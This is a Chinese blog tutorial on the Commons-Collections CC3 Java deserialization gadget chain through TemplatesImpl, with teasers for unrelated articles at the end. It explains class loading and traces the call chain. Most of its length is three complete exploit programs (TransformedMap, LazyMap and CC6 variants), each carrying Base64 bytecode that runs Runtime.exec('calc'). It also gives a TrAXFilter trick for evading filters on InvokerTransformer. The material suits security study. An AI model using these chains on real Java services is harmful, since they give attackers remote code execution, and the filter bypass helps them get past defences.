[Java安全入门]五.CC3

一.前言

前几天学了一下cc1和cc6,对于我来说有点小困难,不过经过几天沉淀,现在也是如拨开云雾见青天,经过一上午的复习对cc1和cc6又有深入的了解。所以,今天想多学一下cc3。cc3执行命令的方式与cc1和cc6不一样,不是通过ChainedTransformer来执行,而是通过动态加载类执行。

二.动态类加载机制

在JVM中,我们写的java源码被编译成.class字节码文件,然后由类加载器将class文件加载到JVM中执行。

三层加载器

Bootstrap classLoader:启动类加载器,主要负责加载核心的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。

ExtClassLoader:拓展类加载器,主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。

AppClassLoader:应用程序类加载器,主要负责加载应用程序的主函数类

先用ClassLoader类里面的loadClass方法从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,就会交给ClassLoader类中 findClass方法;然后findClass方法根据基础路径指定的方式来加载类的字节码,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后将字节码交给 defineClass

双亲委派机制 当一个Hello.class这样的文件要被加载时,不考虑我们自定义类加载器。首先会在 AppClassLoader 中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的 loadClass 方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达 Bootstrap ClassLoader 之前,都是在检查是否加载过,并不会选择自己去加载。直到 Bootstrap ClassLoader ,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出 ClassNotFoundException。

所以我们就可以通过defineClass来动态加载一个类,由于ClassLoader.defineClass是protected,无法在外部直接访问,所以可以通过反射调用。

 protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(null, b, off, len, null);
    }//protected属性
public class Main {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        System.out.println(code);
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), null, code, 0, code.length);
        hello.newInstance();

    }
}
//字节流实现类函数

实现cc3需要找到一个重写了defineClass的类。

三.实现链

在TemplatesImpl类中重写了defineClass方法并且方法是fault类型,可以被外部访问

 static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

但是TransletClassLoader是内部类,无法直接构造,所以需要找到一个非内部方法并且调用了这类,正好在TemplatesImpl类的defineTransletClasses方法中构造了TransletClassLoader

TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

该方法中通过for循环依次加载字节码_bytecodes中的内容赋值给Class数组_class

继续找调用defineTransletClasses方法的方法,在TemplatesImpl类的getTransletInstance方法中调用了 defineTransletClasses,更好的是里面由newInstance直接实例化类,就能完成命令执行了。

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

但getTransletInstance方法也是private属性,继续向上找,newTransformer方法调用了getTransletInstance方法,并且是public属性

 public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

所以现在就可以构造cc3

TemplatesImpl.newTransformer--->TemplatesImpl.getTransletInstance--->TemplatesImpl. defineTransletClasses--->TemplatesImpl.TransletClassLoader.defineClass

cc3还是挺丝滑的。

四.最终exp

Transformed版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})        //反射一个实例化对象并返回
        };

        ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
        Map<Object,Object> map = new HashMap<>();
        map.put("value","test");  //与cc1类似
        Map transformedMap  = TransformedMap.decorate(map, null, chain);
        //反射调用AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,transformedMap);


        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化

    }
}

LazyMap版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
        org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})        //反射一个实例化对象并返回
        };

        ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链

        Map<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazymap);//注解随便传,反射实例化AnnotationInvocationHandler
        Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//要触发invoke所以要动态代理
        Object obj=constructor.newInstance(Target.class,proxy);
        /* AnnotationInvocationHandler.readObject.entrySet->动态代理AnnotationInvocationHandler.invoke->Lazymap.get->chainedtransformer.transform*/
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


    }
}

cc6版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {

        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})        //反射一个实例化对象并返回
        };

        ChainedTransformer chain=new ChainedTransformer(transformers);
        Map<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,new ConstantFactory(0));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"tao");
        HashMap<Object,Object> hashMap1=new HashMap<>();
        hashMap1.put(tiedMapEntry,"456");//put会直接执行命令,所以先将lazyMap改成没用的东西
        lazymap.remove("tao");

        Class clz=LazyMap.class;
        Field field=clz.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap,chain);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(hashMap1);
        //序列化

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


    }
}

注意

transformers的两种写法

第一种

常规的利用InvokerTransformer来实现transformed链,先传入templatesImpl,然后调用它的newTransformer方法

Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};

第二种

有些情况下会过滤掉InvokerTransformer,所以使用TrAXFilter+InstantiateTransformer,也就是我上面的三种exp的写法

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})        
        };

这里是传入TrAXFilter类,然后由它作为object在传入InstantiateTransformer的transform方法

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

在InstantiateTransformer的tranform方法里面会生成传入object的构造器然后生成一个实例,而TrAXFilter的构造器里面正好有newTransformer方法,非常巧妙

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/473929.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】——线性表(顺序表加链表),万字解读(加链表oj详解)

前言 由于之前存在过对两者的区别考虑&#xff0c;所以把他们放在一起来说&#xff0c;更加容易区别和理解 对于有关线性表的概念这里就不展示了&#xff0c;这里主要是介绍线性表里面的这两个结构的知识点 一.顺序表 1.顺序表介绍 顺序表的存储结构和逻辑结构都是相邻的&a…

前端知识点03(JS)

文章目录 前端知识点03&#xff08;JS&#xff09;1、JS中this指向问题2、script中的async和defer的区别3、setTimeOut和setInterval4、Es6和ES5的区别5、ES6的新特性 &#x1f389;写在最后 前端知识点03&#xff08;JS&#xff09; hello hello~ &#xff0c;这里是 code袁~&…

SpringCloud-Feign远程调用

使用Feign替代RestTemplate进行远程服务调用&#xff1a; 远程调用配置 1. 引入依赖 我们在order-service服务的pom文件中引入feign的依赖&#xff1a; <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starte…

spring MVC是如何找到html文件并返回的?

Spring MVC 搜索路径 启动一个SpringBoot项目时&#xff0c;访问http://localhost:8080&#xff0c;对于SpringMVC&#xff0c;它会默认把这段url看成http://localhost:8080/index.html&#xff0c;所以这两个url是等价的。 .html, .css, .js, .img …都是静态资源文件&#x…

玩转C语言——C语言中内存存储

一、 整数在内存中的存储 我们知道&#xff1a;整数的2进制表⽰⽅法有三种&#xff0c;即 原码、反码和补码 三种表⽰⽅法均有符号位和数值位两部分&#xff0c;符号位都是⽤0表⽰“正”&#xff0c;⽤1表⽰“负”&#xff0c;⽽数值位最 ⾼位的⼀位是被当做符号位&#xff0c;…

(学习日记)2024.03.14:UCOSIII第十六节:时间片

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

编曲学习:如何编写钢琴织体 Cubase12逻辑预置 需要弄明白的问题

钢琴织体是指演奏形式、方式,同一个和弦进行可以用很多种不同的演奏方法。常用织体有分解和弦,柱式和弦,琶音织体,混合织体。 在编写钢琴织体前,先定好歌曲的调。 Cubase小技巧:把钢琴轨道向上拖动打和弦轨道,就可以显示和弦!如果你有一些参考工程,不知道用了哪些和…

PG中一个表的3~8个文件是怎么来的?

